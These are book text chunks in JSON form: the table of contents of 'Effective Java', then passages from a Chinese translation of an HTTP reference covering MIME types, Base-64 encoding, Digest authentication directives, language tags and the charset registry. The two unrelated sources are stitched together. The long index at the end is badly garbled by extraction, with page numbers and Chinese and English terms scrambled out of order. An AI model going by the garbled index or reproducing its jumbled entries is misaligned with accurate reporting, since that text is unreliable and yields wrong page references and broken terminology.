    {"text": "Effective Java: Programming Language Guide Document Outline Cover Table of Contents Foreword Preface Acknowledgments 1. Introduction 2. Creating and Destroying Objects Item 1: Consider providing static factory methods instead of constructors Item 2: Enforce the singleton property with a private constructor Item 3: Enforce noninstantiability with a private constructor Item 4: Avoid creating duplicate objects Item 5: Eliminate obsolete object references Item 6: Avoid finalizers 3. Methods Common to All Objects Item 7: Obey the general contract when overriding equals Item 8: Always override hashCode when you override equals Item 9: Always override toString Item 10: Override clone judiciously Item 11: Consider implementing Comparable 4. Classes and Interfaces Item 12: Minimize the accessibility of classes and members Item 13: Favor immutability Item 14: Favor composition over inheritance Item 15: Design and document for inheritance or else prohibit it Item 16: Prefer interfaces to abstract classes Item 17: Use interfaces only to define types Item 18: Favor static member classes over nonstatic 5. Substitutes for C Constructs Item 19: Replace structures with classes Item 20: Replace unions with class hierarchies Item 21: Replace enum constructs with classes Item 22: Replace function pointers with classes and interfaces 6. Methods Item 23: Check parameters for validity Item 24: Make defensive copies when needed Item 25: Design method signatures carefully Item 26: Use overloading judiciously Item 27: Return zero-length arrays, not nulls Item 28: Write doc comments for all exposed API elements 7. General Programming Item 29: Minimize the scope of local variables Item 30: Know and use the libraries Item 31: Avoid float and double if exact answers are required Item 32: Avoid strings where other types are more appropriate Item 33: Beware the performance of string concatenation Item 34: Refer to objects by their interfaces Item 35: Prefer interfaces to reflection Item 36: Use native methods judiciously Item 37: Optimize judiciously Item 38: Adhere to generally accepted naming conventions 8. Exceptions Item 39:Use exceptions only for exceptional conditions Item 40:Use checked exceptions for recoverable conditions and run-time exceptions for programming errors Item 41:Avoid unnecessary use of checked exceptions Item 42:Favor the use of standard exceptions Item 43: Throw exceptions appropriate to the abstraction Item 44:Document all exceptions thrown by each method Item 45:Include failure-capture information in detail messages Item 46:Strive for </vetbfailure atomicity Item 47:Don't ignore exceptions 9. Threads Item 48: Synchronize access to shared mutable data Item 49: Avoid excessive synchronization Item 50: Never invoke wait outside a loop Item 51: Don't depend on the thread scheduler Item 52: Document thread safety Item 53: Avoid thread groups 10. Serialization Item 54: Implement Serializable judiciously Item 55:Consider using a custom serialized form Item 56:Write readObject methods defensively Item 57: Provide a readResolve method when necessary References"},
    {"text": "HTTP权威指南 （Enabling Protocol specifica- tion）的 FLEXsuite ™部分 MIME类型 ｜ 599 （续） MIME类型 描 述 扩 展 联系方式和参考文献 text/vnd.ms- 这 种 类 型 由 微 软 应 用 程 序 MStore.exe mpf Jan Nelson mediapackage 和 7 storDB.exe 处理 jann@microsoft.com 567 text/vnd.wap.si SI（Service Indication， 业 务 指 示 符 ） si、xml WAP Forum Ltd 对象中包含了用于描述事件的报文和用 http://www.wapforum. 于描述从何处装载相应服务的 URI org text/vnd.wap.sl SL（Service Loading，服务装载）内容 sl、xml 同上 类型提供了一种向移动客户端的用户代 理传送 URI 的手段。 客户端自身会自 动地装载 URI 所指向的内容，在适当 的时候且没有用户干预的情况下，在指 定的用户代理上执行它 text/vnd.wap.wml WML（Wireless Markup Language，无 wml 同上 线标记语言）是一种基于 XML 的标记 语言，定义了包含移动电话和寻呼机在 内的窄带设备的内容和用户接口 text/vnd.wap. WMLScript 是 一 种 用 于 无 线 设 备 的 wmls 同上 wmlscript JavaScript 的拓展 text/x-setext 来自 Apache 的 mime.types etx text/xml Extensible Markup 语 言 格 式 文 件（ 如 xml RFC 2376 果下载时希望浏览器将文件保存下来就 使用 application/xml） D.4.9 video/* 表 D-11 列出了一些常见的视频电影格式。"},
    {"text": "表D-11 “Video”MIME类型 MIME类型 描 述 扩 展 联系方式和参考文献 video/MP4V-ES RTP 承载的 MPEG-4 视频负载 RFC 3016 video/mpeg 根据 ISO 11172 CD MPEG 标准编码 mpeg、mpg、 RFC 1341 的视频 mpe video/parityfec RTP 流上承载的数据所使用的前向 RFC 3009 纠错视频格式 video/pointer 传输演示指针的位置信息 RFC 2862 video/quicktime 苹果 Quicktime 的视频格式 qt、mov http://www.apple.com 600 ｜ 附录 D （续） MIME类型 描 述 扩 展 联系方式和参考文献 video/vnd.fvt FAST Search & Transfer 公司的视频 fvt Arild Fuldseth 格式 Arild.Fuldseth@fast.no 568 video/vnd.motorola. 摩托罗拉 ISG 产品的特有格式 Tom McGinty videovideo/vnd. Motorola ISG motorola.videop tmcginty@dma.isg.mot video/vnd.mpegurl 这种媒体类型由一系列 MPEG 视频 mxu Heiko Recktenwald 文件的 URL 构成 uzs106@uni-bonn.de “Power and Responsibility: Conversations with Contr- ibutors”，Guy van Belle 等， LMJ 9 (1999)，127-133， 129 (MIT Press) video/vnd.nokia. 在 诺 基 亚 9210 Communicator 视 频 nim Petteri Kangaslampi interleaved- 播放器及相关工具中使用 petteri.kangaslampi@no- multimedia kia.com video/x-msvideo 微软的 AVI 电影 avi http://www.microsoft.com video/x-sgi-movie 硅图公司的电影格式 movie http://www.sgi.com D.4.10 实验类型 主类型集支持大多数内容类型。"},
    {"text": "表D-12 扩展MIME类型 MIME类型 描 述 扩 展 联系方式和参考文献 x-conference/x-cooltalk 网景公司的协作工具 ice 569 MIME类型 ｜ 601 附录E Base-64 编码 603 HTTP 将 Base-64 编码用于基本认证及摘要认证，在几种 HTTP 扩展中也使用了该 编码。"},
    {"text": "E.1 Base-64编码保证了二进制数据的安全 Base-64 编码可以将任意一组字节转换成较长的常见文本字符序列，从而可以合法 地作为首部字段值。 Base-64 编码将用户输入或二进制数据，打包成一种安全格式， 将其作为 HTTP 首部字段的值发送出去，而无须担心其中包含会破坏 HTTP 分析程 序的冒号、换行符或二进制值。 Base-64 编码是作为 MIME 多媒体电子邮件标准的一部分开发的，这样 MIME 就可 以在不同的合法电子邮件网关之间传输富文本和任意的二进制数据了。 1Base-64 编 码与将二进制数据文本化表示的 uuencode 和 BinHex 标准在本质上很类似，但空间 效率更高。"},
    {"text": "E.2 8位到6位 Base-64 编码将一个 8 位字节序列拆散为 6 位的片段，并为每个 6 位的片段分配一 个字符，这个字符是 Base-64 字母表中的 64 个字符之一。"},
    {"text": "表E-1 Base-64字母表 0 A 8 I 16 Q 24 Y 32 g 40 o 48 w 56 4 1 B 9 J 17 R 25 Z 33 h 41 p 49 x 57 5 2 C 10 K 18 S 26 a 34 i 42 q 50 y 58 6 3 D 11 L 19 T 27 b 35 j 43 r 51 z 59 7 4 E 12 M 20 U 28 c 36 k 44 s 52 0 60 8 5 F 13 N 21 V 29 d 37 l 45 t 53 1 61 9 6 G 14 O 22 W 30 e 38 m 46 u 54 2 62 + 7 H 15 P 23 X 31 f 39 n 47 v 55 3 63 / 注 1： 有些邮件网关会悄悄地去除 ASCII 值在 0 ～ 31 之间的“非打印”字符。"},
    {"text": "得到的 Base-64 编码字符串是个 4 字符的字符串“T3ch”，然后就可 以通过线路将这个字符串作为“安全的”8 位字符传送出去，因为只用了一些 移植性最好的字符（字母、数字等）。"},
    {"text": "8位字符 O w ! 8位值（十六进制） $4F $77 $21 8位值（二进制） 010011110111011100100001 6位值（十进制） 19 55 28 33 Base-64字符 T 3 c h 图 E-1 Base-64 编码实例 571 E.3 Base-64填充 Base-64 编码收到一个 8 位字节序列，将这个二进制序列流划分成 6 位的块。"},
    {"text": "二进 制序列有时不能正好平均地分成 6 位的块，在这种情况下，就在序列末尾填充零位， 使二进制序列的长度成为 24 的倍数（6 和 8 的最小公倍数）。"},
    {"text": "Base-64编码 ｜ 605 表E-2 Base-64填充实例 输入数据 二进制序列（填充位以x表示） 已编码数据 a:a 011000 010011 101001 100001 YTph a:aa 011000 010011 101001 100001 011000 01xxxx xxxxxx xxxxxx YTphYQ== a:aaa 011000 010011 101001 100001 011000 010110 0001xx xxxxxx YTphYWE= a:aaaa 011000 010011 101001 100001 011000 010110 000101 100001 YTphYWFh 然而，再增加一个字符，输入字符串会变成 32 位长。"},
    {"text": "E.4 Perl实现 MIME::Base64 是 Perl 中的 Base-64 编 / 解码模块。 可以在 http://www.perldoc.com/ perl5.6.1/lib/MIME/Base64.html 上看到有关这个模块的内容。"},
    {"text": "572 可以用 MIME::Base64 encode_base64 和 decode_base64 方法对字符串进行编解码： use MIME::Base64; $encoded = encode_base64('Aladdin:open sesame'); $decoded = decode_base64($encoded); E.5 更多信息 更多有关 Base-64 编码的信息，参见以下信息。"},
    {"text": "http://www.ietf.org/rfc/rfc2045.txt RFC 2045 的第 6.8 节，“MIME Part 1: Format of Internet Message Bodies,”（MIME 的第一部分：因特网报文主体的格式），是 Base-64 编码的官方规范。"},
    {"text": "http://www.perldoc.com/perl5.6.1/lib/MIME/Base64.html 这个 Web 站点提供了对 Base-64 字符串进行编 / 解码的 MIME::Base64 Perl 模块的 573 文档。"},
    {"text": "表F-1 （来自RFC 2617的）摘要 WWW-Authenticate 首部指令 指 令 描 述 realm 显示给用户的字符串，这样用户就可以知道该使用哪个用户名和密码了。"},
    {"text": "比如，可以将 nonce 构造成以下内容的 Base-64 编码： time-stamp H(time-stamp \":\" ETag \":\" private-key) 其中 time-stamp 是服务器生成的时间或其他不重复的数值，ETag 是与所请求实体有 关的 HTTP ETag 首部的值，private-key 是只有服务器知道的数据。"},
    {"text": "使用这种形式 的 nonce，服务器会在收到客户端的 Authentication 首部之后重新对散列部分进行 计算，如果与该首部的 nonce 不符，或者时间戳的值不够近，就可以拒绝请求。"},
    {"text": "（注意：在 nonce 中包含客户端的 IP 地址，看起来好像为服务器提供了限制最 初获得此 nonce 的客户端重用 nonce 的能力，但这样会破坏代理集群，来自单个用户的 请求通常都会经过集群中不同的代理进行传输。"},
    {"text": "） 实现可以选择不接受以前用过的 nonce，或以前用过的摘要，以防止重放攻击，或者选 574 择为 POST 或 PUT 请求使用一次性 nonce 或摘要，为 GET 请求使用时间戳 domain 一 个 引 用 的、 由 空 格 分 隔 的 URI 列 表（ 如 RFC 2396，“Uniform Resource Identifiers: GenericSyntax”所述），这些 URI 定义了保护空间。"},
    {"text": "客户端可以用这个列表来判定应该将同样的认证信息发送给哪个 URI 集：可以假定所有 以此列表中的 URI 作为前缀的 URI（在将两者都转换为绝对 URI 之后）都位于同一个 保护空间内。"},
    {"text": "如果提供了这条指令，也应该将其忽略 608 ｜ 附录 F （续） 指 令 描 述 opaque 一个由服务器指定的数据串，应该由客户端不经修改地放在后继请求的 Authorization 首部中返回，这些后继请求应使用同一保护空间内的 URI。"},
    {"text": "如 果 stale 为 TRUE（不区分大小写），客户端可能希望以新加密的响应重试请求，而不用 再次提示用户输入新的用户名和密码。 只有在服务器收到一条 nonce 无效，但摘要有效 的请求（说明客户端知道正确的用户名 / 密码）时，才应该将 stale 设置为 TRUE。 如果 stale 为 FALSE，或者除 TRUE 之外的其他值，或者没有提供 stale 指令，用户名和 / 或 密码就是无效的，需要获取新的值 algorithm 一个字符串，说明了一对儿用来生成摘要和校验码的算法。"},
    {"text": "在 这 份 文 档 中， 用“KD(secret,data)” 来 表 示 用 密 码“secret” 对 数 据“data” 使 用 摘 要 算 法 得 到 的 字 符 串， 而 对 数 据“data” 使 用 校 验 和 算 法 得 到 的 字 符 串 则 表 示 为 “H(data)”。"},
    {"text": "对 MD5 和 MD5-sess 算法来说： H(data) = MD5(data) HD(secret, data) = H(concat(secret, \":\", data)) 也就是说，摘要就是将密码的 MD5 与冒号和数据连接在一起。"},
    {"text": "575 表F-2 （来自RFC 2617的）摘要 Authorization 首部指令 指 令 描 述 username 指定域中的用户名 realm 在 WWW-Authenticate 首部中传送给客户端的域 摘要认证 ｜ 609 （续） 指 令 描 述 nonce 在 WWW-Authenticate 首部中传送给客户端的那个与服务器相同的 nonce uri 来自请求行请求 URI 中的 URI。"},
    {"text": "响应是一个由 32 个十六进制数字组 成的字符串，由沟通好的摘要算法生成，用来证明用户知道这个密码 algorithm 一个字符串，说明了用来生成摘要和校验和的一对儿算法。"},
    {"text": "如果未提供，就将其 假定为 MD5 opaque 服务器在 WWW-Authenticate 首部指定的数据串，应该由客户端不经修改地在 后继请求的 WWW-Authenticate 首部中返回，这个请求应使用同一保护空间内 的 URI cnonce 如果发送了 qop 指令，就一定要使用这条指令，如果服务器没有在 WWW-Authenticate 首部字段中发送 qop 指令，就一定不能使用这条指令。"},
    {"text": "这条指令是可选的，以保持对 RFC 2069 最小实现的后向兼容，但如果服务器说 明它是通过在 WWW-Authenticate 首部字段中提供 qop 指令来支持 qop 的，就 应该使用这条指令 nc 如 果 发 送 了 qop 指 令， 就 一 定 要 指 定 这 条 指 令， 如 果 服 务 器 没 有 在 WWW- Authenticate 首部字段中发送 qop 指令，就一定不能使用这条指令。"},
    {"text": "这条指令的目的是允许服务器通过维护自己保存的此计数值副本来发现请求重 放——如果看到了两次相同的 nc 值，就说明请求是重放的 <extension> 未来可以通过这条指令进行扩展。"},
    {"text": "610 ｜ 附录 F 表F-3 （来自RFC 2617的）摘要 Authentication-Info 首部指令 指 令 描 述 nextnonce nextnonce 指令的值是服务器希望客户端为未来的认证响应使用的 nonce。 服务器 可能会发送带有 nextnonce 字段的 Authentication-Info 首部，作为实现一 次性 nonce 或修改 nonce 的手段。 如果提供了 nextnonce 字段，客户端在为下一 条请求构建 Authorization 首部时就应该使用它。"},
    {"text": "使用 nounce 计数可以在不影响管道化的 情况下，维护一个新的服务器 nonce 的大部分安全优势 qop 说明了服务器应用到响应上的“安全保障”选项。"},
    {"text": "服务器在响应中使用的 qop 指令值 应该与客户端在相应请求中发送的值相同 rspauth response auth 指令中的可选响应摘要支持双向认证——服务器证明了它知道用户 的密码，而且通过 qop=\"auth-int\"，它还为响应提供了有限的完整性保护。"},
    {"text": "除 了 当 qop=\"auth\" 或 者 没 有 在 Authorization 首 部 为 请 求 指 定 qop 的 情 况，response-digest 值 的 计 算 方 式 与 Authorization 首 部 的 request- digest 类似，A2 为： A2 = \":\" digest-uri-value 当 qop=\"auth-int\" 时，A2 为： A2 = \":\" digest-uri-value \":\" H(entity-body) 其 中 digest-uri-value 是 请 求 的 Authorization 首 部 中 uri 指 令 的 值。"},
    {"text": "cnonce 和 nc 值一定要与此报文所响应的客户端请求中的相应值相同。 如果指定 了 qop=\"auth \" 或者 qop=\"auth-int\"，就必须提供 rspauth 指令 cnonce cnonce 值一定要与此报文所响应的客户端请求中的相应值一样。 如果指定了 qop=\"auth \" 或 qop=\"auth-int\"，就必须提供 cnonce 指令 nc nc 值 一 定 要 与 此 报 文 所 响 应 的 客 户 端 请 求 中 的 相 应 值 一 样。 如 果 指 定 了 qop=\"auth \" 或 qop=\"auth-int\"，就必须提供 nc 指令 <extension> 未来可以通过这条指令进行扩展。"},
    {"text": "注 1：参见 ISO 标准 639，“Codes for the representation of names of languages”。 注 2： 参见 ISO 639-2，“Codes for the representation of names of languages—Part 2: Alpha-3 code”（语言名表 示码——第 2 部分：Alpha-3 代码）。"},
    {"text": "此机构为： International Information Centre for Terminology（Infoterm，国际术语信息中心） P.O. Box 130 A-1021 Wien Austria 电话：+43 1 26 75 35 分机号：312 传真：+43 1 216 32 72 638 ｜ 附录 G • ISO 639-2 指定了一个向 ISO 639-2 的语言列表中进行添加或者对其进行修改的 维护机构。"},
    {"text": "此机构为： Library of Congress（美国国会图书馆） Network Development and MARC Standards Office（网络开发与 MARC 标准办公室） Washington, D.C. 20540 USA 电话：+1 202 707 6237 传真：+1 202 707 0115 URL：http://www.loc.gov/standards/iso639-2/ • ISO 3166（国家代码）的维护机构为： ISO 3166 Maintenance Agency Secretariat（ ISO 3166 维护机构秘书处） c/o DIN Deutsches Institut fuer Normung（ c/o DIN 德国标准化研究所） Burggrafenstrasse 6 Postfach 1107 D-10787 Berlin Germany 电话：+49 30 26 01 320 传真：+49 30 26 01 231 URL：http://www.din.de/gremien/nas/nabd/iso3166ma/ 601 语言标记 ｜ 639 附录H MIME 字符集注册表 641 本附录描述了由 IANA 维护的 MIME 字符集注册表。"},
    {"text": "下面是 US-ASCII 的记录： Name: ANSI_X3.4-1968 [RFC1345, KXS2]^ MIBenum: 3 Source: ECMA registry Alias: iso-ir-6 Alias: ANSI_X3.4-1986 Alias: ISO_646.irv:1991 Alias: ASCII Alias: ISO646-US Alias: US-ASCII (preferred MIME name) Alias: us Alias: IBM367 Alias: cp367 Alias: csASCII 602 RFC 2978（http://www.ietf.org/rfc/rfc2978.txt）记录了通过 IANA 注册字符集的过程。"},
    {"text": "其中包括： Big5 EUC-JP EUC-KR GB2312 ISO-2022-JP ISO-2022-JP-2 ISO-2022-KR ISO-8859-1 ISO-8859-2 ISO-8859-3 ISO-8859-4 ISO-8859-5 ISO-8859-6 ISO-8859-7 ISO-8859-8 ISO-8859-9 ISO-8859-10 KOI8-R Shift-JIS US-ASCII 642 ｜ 附录 H H.3 已注册字符集 表 H-1 列出了 2001 年 3 月字符集注册表的内容。"},
    {"text": "表H-1 IANA MIME字符集标记 字符集标记 别 名 描 述 参考文献 US-ASCII ANSI_X3.4-1968、iso-ir-6、 ECMA 注册表 RFC1345、KXS2 ANSI_X3.4-1986、ISO_646. irv:1991、ASCII、ISO646-US、 us、IBM367、cp367、csASCII ISO-10646-UTF-1 csISO10646UTF1 通用传输格式（1）——这 是 以 ASCII-7 为 子 集 的 多字节编码；"},
    {"text": "使用 ISO 2022 转 义 序 列 来 切 换 代 码集，如 JIS X 0202-1991 所述 Shift_JIS MS_Kanji、csShiftJIS 这个字符集是 csHalf Wi- dthKatakana 的 扩 展 —— 它 在 JIS X 0208 中 添 加 了 图 像 字 符。"},
    {"text": "可以将此字符集用于 顶级媒体类型“text” MIME字符集注册表 ｜ 655 （续） 字符集标记 别 名 描 述 参考文献 EUC-JP Extended_UNIX_Code_ 由 OSF、UNIX 国 际 和 Packed_Format_for_Japanese、 UNIX 系统太平洋实验室 csEUCPkdFmtJapanese 制 定 的 标 准。"},
    {"text": "代码集 3：JIS X0212-1990 （双 7 位的字节集），两个 字节都要限制在 A0 ～ FF 之间，需要将 SS3 作为字 612 符前缀 Extended_UNIX_ csEUCFixWidJapanese 在日本使用。"},
    {"text": "代码 集 1： JIS X0208-1990（双 7 位的字节集），两个字节 都限制在 A0 ～ FF 之间； 代 码 集 2： 半 角 片 假 名 （单 7 位的字节集），第一 个 字 节 00， 第 二 个 字 节 A0 ～ FF； 代码集 3：JIS X0212-1990（双 7 位字节 集） ，第一个字节限制在 A0 ～ FF 之间，第二个字 节限制在 21 ～ 7E 之间 ISO-10646-UCS- csUnicodeASCII Unicode 的 ASCII 子集。"},
    {"text": "参 见 RFC 1815 ISO-Unicode-IBM- csUnicodeIBM1261 IBM Latin-2、-3、-5、 1261 扩 展 表 示 集，GCSGID: 1261 ISO-Unicode-IBM- csUnidoceIBM1268 IBM Latin-4 扩展表示集， 1268 GCSGID: 1268 ISO-Unicode-IBM- csUnicodeIBM1276 IBM 西里尔希腊语扩展表 1276 示集， GCSGID: 1276 ISO-Unicode-IBM- csUnicodeIBM1264 IBM 阿 拉 伯 语 扩 展 表 示 1264 集， GCSGID: 1264 ISO-Unicode-IBM- csUnicodeIBM1265 IBM 希 伯 来 语 扩 展 表 示 1265 集， GCSGID: 1265 ISO-8859-1- csWindows30Latin1 用于 Windows 3.0 的扩展 HP-PCL5 Windows-3.0-Latin-1 ISO 8859-1 Latin-1。"},
    {"text": "PCL 符号集 ID：9U ISO-8859-1- csWindows31Latin1 用于 Windows 3.1 的扩展 HP-PCL5 Windows-3.1-Latin-1 ISO 8859-1 Latin-1。 PCL 符号集 ID：19U ISO-8859-2- csWindows31Latin2 用于 Windows 3.1 的扩展 HP-PCL5 Windows-Latin-2 ISO 8859-2 Latin-2。 PCL 符号集 ID：9E ISO-8859-9- csWindows31Latin5 用于 Windows 3.1 的扩展 HP-PCL5 Windows-Latin-5 ISO 8859-9 Latin-5。 PCL 符号集 ID：5T Adobe-Standard- csAdobeStandardEncoding PostScript 语言参考手册。 Adobe Encoding PCL 符号集 ID：10J Ventura-US csVenturaUS Ventura US-ASCII plus HP-PCL5 字符通常用于出版业，比 如 在 A0 ～ FF 范 围 之 间 的 段 落 标 记、 版 权、 注 册、商标、分节、剑号及 双剑号。 PCL 符号集 ID： 613 14J MIME字符集注册表 ｜ 657 （续） 字符集标记 别 名 描 述 参考文献 Ventura- csVenturaInternational Ventura International ASCII HP-PCL5 International plus 编码字符与 Roman8 类 似。 PCL 符号集 ID：13J PC8-Danish- csPC8DanishNorwegian 丹麦挪威使用的 PC 丹麦 HP-PCL5 Norwegian 挪威 8 位 PC 集。 PCL 符 号集 ID：11U PC8-Turkish csPC8Turkish PC 拉丁土耳其。"},
    {"text": "PCL 符 HP-PCL5 号集：9T IBM-Symbols csIBMSymbols 表示集，CPGID: 259 IBM-CIDT IBM-Thai csIBMThai 表示集，CPGID: 838 IBM-CIDT HP-Legal csHPLegal PCL 5 Comparison Guide， HP-PCL5 惠普，惠普部件编号 5961- 0510，1992 年 10 月。 PCL 符号集 ID：1U HP-Pi-font csHPPiFont PCL 5 Comparison Guide， HP-PCL5 惠普，惠普部件编号 5961- 0510，1992 年 10 月。 PCL 符号集 ID：15U HP-Math8 csHPMath8 PCL 5 Comparison Guide， HP-PCL5 惠普，惠普部件编号 5961- 0510，1992 年 10 月。 PCL 符号集 ID：8M Adobe-Symbol- csHPPSMath PostScript 语言参考手册。 Adobe Encoding PCL 符号集 ID：5M HP-DeskTop csHPDesktop PCL 5 Comparison Guide， HP-PCL5 惠普，惠普部件编号 5961- 0510，1992 年 10 月。 PCL 符号集 ID：7J Ventura-Math csVenturaMath PCL 5 Comparison Guide， HP-PCL5 惠普，惠普部件编号 5961- 0510，1992 年 10 月。 PCL 符号集 ID：6M Microsoft- csMicrosoftPublishing PCL 5 Comparison Guide， HP-PCL5 Publishing 惠普，惠普部件编号 5961- 0510，1992 年 10 月。 PCL 符号集 ID：6J 658 ｜ 附录 H （续） 字符集标记 别 名 描 述 参考文献 Windows-31J csWindows31J 日 语 版 Windows。"},
    {"text": "PCL 符 号 集 id：18T windows-1250 微 软（ 参 见 .../character- set-info/windows-1250） [Lazhintseva] windows-1251 微 软（ 参 见 .../character- set-info/windows-1251） [Lazhintseva] windows-1252 微 软（ 参 见 .../character- set-info/windows-1252） [Wendt] windows-1253 微 软（ 参 见 .../character- set-info/windows-1253） [Lazhintseva] windows-1254 微 软（ 参 见 .../character- set-info/windows-1254） [Lazhintseva] MIME字符集注册表 ｜ 659 （续） 字符集标记 别 名 描 述 参考文献 windows-1255 微 软（ 参 见 .../character- set-info/windows-1255） [Lazhintseva] windows-1256 微 软（ 参 见 .../character- set-info/windows-1256） [Lazhintseva] windows-1257 微 软（ 参 见 .../character- set-info/windows-1257） [Lazhintseva] windows-1258 微 软（ 参 见 .../character- set-info/windows-1258） [Lazhintseva] TIS-620 T I S I ， T h a i I n d u s t r i a l [Tantsetthi] Standards Institute（ 泰 国 工业标准协会） HZ-GB-2312 RFC 1842、RFC 1843 615 [RFC1842、RFC1843] 660 ｜ 附录 H 索引 661 115 196 ）， 457 123 ～ 令 ， ， 指 194 465 置 ， ， 配 194 增强的） 143， ～ 配置指令） 367 294 DNS ookups 188 121 186 189 ， ～ eL ， ， ， 194 ， 291 ～ 400 ， （基于 110 ostnam 298 ， ， H （命中计数与缓存） 187 ， 437 DirectoryIndex （ （控制） ， （资源发现算法） ， （ 156 511 指令） 399 84 ， ， 399 ， （服务器设置） （实例操控算法） ， 服务器） 159 元素） 457 ， control of ， ， 137 ， （对称认证） 算法） setting ， 510 （文档使用期的计算） （报文摘要算法） MultiView ， （使用期和新鲜生存期） ， enhanced DNS-based 219 136 首部） 19 （ ， 首部） （代理认证） ， hit counts and caches ， ， （老化及新鲜度） Nagle Apache Web （内容协商） ， 首部） （ <allprop> （ （ （任播寻址） （类型映射文件） HTTP Allow 代理） 184 （文档根） （ （访问代理） Age （别名） （ ookups configuration directive （ ， （重定向） （匿名者） （广播） （算法） eL Agent ’s algorithm 317 （ ， symmetric authentication MultiViews directive type-map files ostnam proxy authentication aging and freshness document age calculation instance-manipulation algorithms LM-Factor message digest algorithms Nagle redirection resource-discovery algorithm (WPAD) RSA content negotiation DirectoryIndex configuration directive document root H HTTP headers access proxies advertising age and freshness lifetime Age headers agents algorithms aliases (URLs) Allow headers <allprop> element anonymizers anycast addressing Apache web servers 510 509 ， ， 385 572 375 ， ， 374 ， ， 509 371 60 85 505 506 506 ， 371 ， ， 编码） ， ， ， ， 510 59 60 64 66 ， ， 47 ， 505 507 首部） 首部） ～ ， ～ ～ ， ， Base-64 59 61 61 65 66 首部） 首部） （ 382 ， ， ， ， ， ， 状态码） 508 字符集编码标记） Accept-Instance-Manipulation ， （ 398 122 状态码） 状态码） 状态码） 状态码） 状态码） （最大分段生存期） 69 （用在首部） ， ， 30 ， MIME 199 299 399 499 599 124 ， （ 100 Continue ～ ～ ～ ～ ～ ） Accept-Encoding Accept-Language ， Base-64 encoding 位恒等编码） 首部） 8 （ Accept-Charset （ （ Accept-Ranges ， 波浪线）- （ 100 200 300 400 500 URL （ 225 （ （内容协商） use in headers （ （ （ （ （ ， ， Accept （等号） （斜线 （绝对 （ （访问控制） 367 （冒号） （机器人） ， 号 字 robots MIME charset encoding tags 首部） content negotiation 索引中的页码为英文原书的页码，与本书页边标注的页码一致。"},
    {"text": "符 : (colon) = (equals sign) /~ (slash-tilde) 数 8-bit identity encoding 100 Continue status code 100-199 status codes 200-299 status codes 300-399 status codes 400-499 status codes 500-599 status codes 2MSL(maximum segment lifetime) A Absolute URLs Accept headers Accept-Charset headers Accept-Encoding headers Accept-Instance-Manipulation headers Accept-Language headers Accept-Ranges headers access controls 662 ｜ 索引 576， 指令） 511 282 ， ， 281 30 ， ， 283 305 ， ， 首部） 572 284 密码的编码） ～ 570 282 283 / ） 295 ， ， ～ ， ， 的自动扩展） 570 572 ， ， 281 286 302 HTTPS Authentication-Info URL 密码） ， 162 / ， ， （用户名 （ （ ， 实现） 服务器与代理） 32 编码） 572 （兼容于） 还请参见认证） 300 283 （ （批量暴力型攻击） Authorization ， （预先产生） 161 ， ， Web ） 571 Perl ， （ 575 ， ， （ 572 （ 570 （用户名 281 （还请参见 ， 281 URL Base-64 ， ， （基本认证） ， （通过代理服务器） （ ， （保护空间） （传输时间） （等号） 31 （瓶颈） ， （不安全） （指令） （带宽） （基本 （字母表） compatibility with （填充） （目标） （举例） （首部） ， （基础） (see also HTTPS) directives preemptive generation bottlenecks transfer times alphabet equals sign (=) HTTP padding Perl implementation purpose username/password example headers insecurity of protection space by proxy servers username/password encoding web server vs. proxy (see also authentication) Authentication-Info directives Authorization headers automatic expansion of URLs B bandwidth base URLs base-64 encoding bases basic authentication batched brute-force attacks 278 303 ） ， ， API 116， 557 321 203 ， ～ （认证风险） ， 540 ］ 配置指令） ， 559 278 risks of 305 ～ ， ， 类型） ， 557 （应用编程接口，参见 305 304 ， （使用数字证书） 203 ， ， IdentityCheck （应用编程接口） MIME ［摘要（参见摘要认证）首部］ ， 315 响应框架） （ * 379 / 205 ， 类型） 123 ， 303 ificates ， 304 303 ， 205 ， ， ， 304 ［基本（参见基本认证） （多重认证机制） 156 126 280 ， 284 （质询 ， ， MIME ， application/ 字符集） （批量暴力型攻击） ， * ～ （中间人攻击） （ （对称加密） 306 （选择明文攻击） 313 301 289 277 服务器） ， ASCII ～ ， ， audio/ ， 278 （ using digital cert （服务器扩展） （ （词典攻击） （首部篡改） ， ， Web （应用服务器） 303 （恶意代理） （魔法分类） （ ， （重放攻击） （枚举） （防止） （代理服务器） （证据） （认证） 480 （协议） ， （服务器） （攻击） MIME types* preventing IdentityCheck configuration directive magic typing server extensions web services batched brute-force attacks chosen plaintext attacks dictionary attacks enumeration evidence of header tampering hostile proxies man-in-the-middle attacks replay attacks basic (see basic authentication) challenge/response framework digest (see digest authentication) headers HTCP multiple authentication schemes protocols proxy servers server APIs (application programming interfaces) application/* MIME types application programming interfaces (see APIs) application servers ASCII character set asymmetric cryptography attacks audio/ authentication 索引 ｜ 663 182 421 存） ， ， 177 183 187 ， ， ， 175 175 175 （参见缓 （设置） 175 184 ， ， ， ～ ， 标签） 344 161 163 173 ， ， 174 166 setting ， 171 165 ， ， 186 ， ～ 171 ， 首部） ， ， 68 169 ， ， 175 165 168 （代理缓存） 195 ， ， ， ， ， 167 HTTP-EQUIV （维护流通性） （网络瓶颈） 172 Expires （试探性过期） ， （ 174 173 （报文截尾） 172 171 174 （服务器再验证） （瞬间拥塞） ， （创建响应） ， ［替代物（反向代理）缓存］ （过期时间） （ （新鲜度检查） ， ， ， ， （处理步骤） （设置控制） 161 （父缓存） （再验证命中） （兄弟缓存） ， （缓存首部） （流程图） （再验证） （接收） （拓扑结构） （命中日志） （命中率） （日志） （查找） （解析） （对等） （发送） （使用） flowchart expiration time Expires headers flash crowds and freshness check heuristic expiration hit logs hit rate HTTP-EQUIV tag logging lookup maintaining currency message truncation network bottlenecks parent caches parsing peering processing steps receiving response creation revalidate hits revalidations sending server revalidation setting controls sibling caches surrogate caches topologies uses caching headers caching proxies (see caches) ， ） ， 186 186 CARP ～ ～ 182 419 182 194 ， ， ， ～ 177 456 177 ， 90 ～ 34 ～ 187 ， ， ， 168 175 175 ， ， 252 ， 182 ， 165 ， （最大） ， 首部） 250 首部与较老版本） 首部） ， （自动扩展） （缓存阵列路由协议，参见 缓存及负载均衡） Host maximum 302 175 （ DNS ， 196 196 181 ， ， （ ～ ， ～ （老化及新鲜度算法） 167 163 492 170 167 ， ， （从中排除文档） 13 ， ， ， 161 194 Cache-Control 94 ，"},
